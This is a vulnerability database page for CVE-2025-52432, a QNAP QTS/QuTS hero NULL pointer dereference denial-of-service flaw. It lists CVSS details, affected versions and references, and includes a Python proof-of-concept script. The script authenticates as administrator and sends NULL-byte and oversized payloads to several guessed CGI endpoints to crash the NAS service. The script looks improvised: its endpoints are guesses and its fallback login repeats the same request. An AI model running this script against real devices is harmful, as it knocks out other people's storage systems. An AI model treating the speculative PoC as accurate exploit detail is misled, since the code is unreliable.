CVE-2025-52432

Description

A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following versions: QTS 5.2.6.3195 build 20250715 and later and later QuTS hero h5.2.6.3195 build 20250715 and later QuTS hero h5.3.0.3192 build 20250716 and later

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QTS < 5.2.6.3195 build 20250715

QuTS hero < h5.2.6.3195 build 20250715

QuTS hero < h5.3.0.3192 build 20250716

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-52432 PoC - QNAP NULL Pointer Dereference DoS
# This PoC demonstrates triggering NULL pointer dereference in QNAP QTS/QuTS hero
# Requires valid administrator credentials

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET_HOST = "https://<qnap-nas-ip>"
ADMIN_USER = "admin"
ADMIN_PASS = "<admin_password>"

def exploit_null_pointer_deref():
    """
    Trigger NULL pointer dereference vulnerability in QNAP OS.
    The vulnerability exists in the system service handling specific
    authenticated requests. Sending a malformed request after authentication
    causes the service to dereference a NULL pointer, leading to DoS.
    """
    session = requests.Session()
    session.verify = False

    # Step 1: Authenticate as administrator
    login_url = f"{TARGET_HOST}/cgi-bin/authLogin.cgi"
    login_data = {
        "user": ADMIN_USER,
        "pwd": ADMIN_PASS
    }

    print("[*] Authenticating as administrator...")
    resp = session.post(login_url, data=login_data)

    if "authSid" not in session.cookies.get_dict():
        # Try alternative login method
        resp = session.post(login_url, data=login_data)
        if resp.status_code != 200:
            print("[-] Authentication failed")
            return False

    print("[+] Authentication successful")

    # Step 2: Send crafted request to trigger NULL pointer dereference
    # The vulnerable endpoint processes the request and dereferences
    # an uninitialized/NULL pointer under specific conditions
    vuln_endpoints = [
        "/cgi-bin/filemanager/utilRequest.cgi",
        "/cgi-bin/qpkg/cgiRequest.cgi",
        "/cgi-bin/sysinfo/cgiRequest.cgi"
    ]

    for endpoint in vuln_endpoints:
        url = f"{TARGET_HOST}{endpoint}"
        # Crafted payload to trigger NULL pointer dereference
        crafted_params = {
            "func": "get_info",
            "sid": session.cookies.get("authSid", ""),
            "source": "\x00",  # NULL byte injection
            "type": "AAAA" * 256  # Oversized parameter
        }

        print(f"[*] Sending crafted request to {endpoint}...")
        try:
            resp = session.post(url, data=crafted_params, timeout=10)
            print(f"[*] Response status: {resp.status_code}")
        except requests.exceptions.Timeout:
            print(f"[!] Timeout - service may have crashed (DoS triggered)")
            return True
        except Exception as e:
            print(f"[!] Error: {e}")

    return False

if __name__ == "__main__":
    if exploit_null_pointer_deref():
        print("[+] DoS attack may have succeeded")
    else:
        print("[-] Exploit may not have triggered the vulnerability")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52432
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52432
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52432/
[4] VulDB https://vuldb.com/cve/CVE-2025-52432
[5] https://www.qnap.com/en/security-advisory/qsa-25-36

Raw JSON Data

JSON

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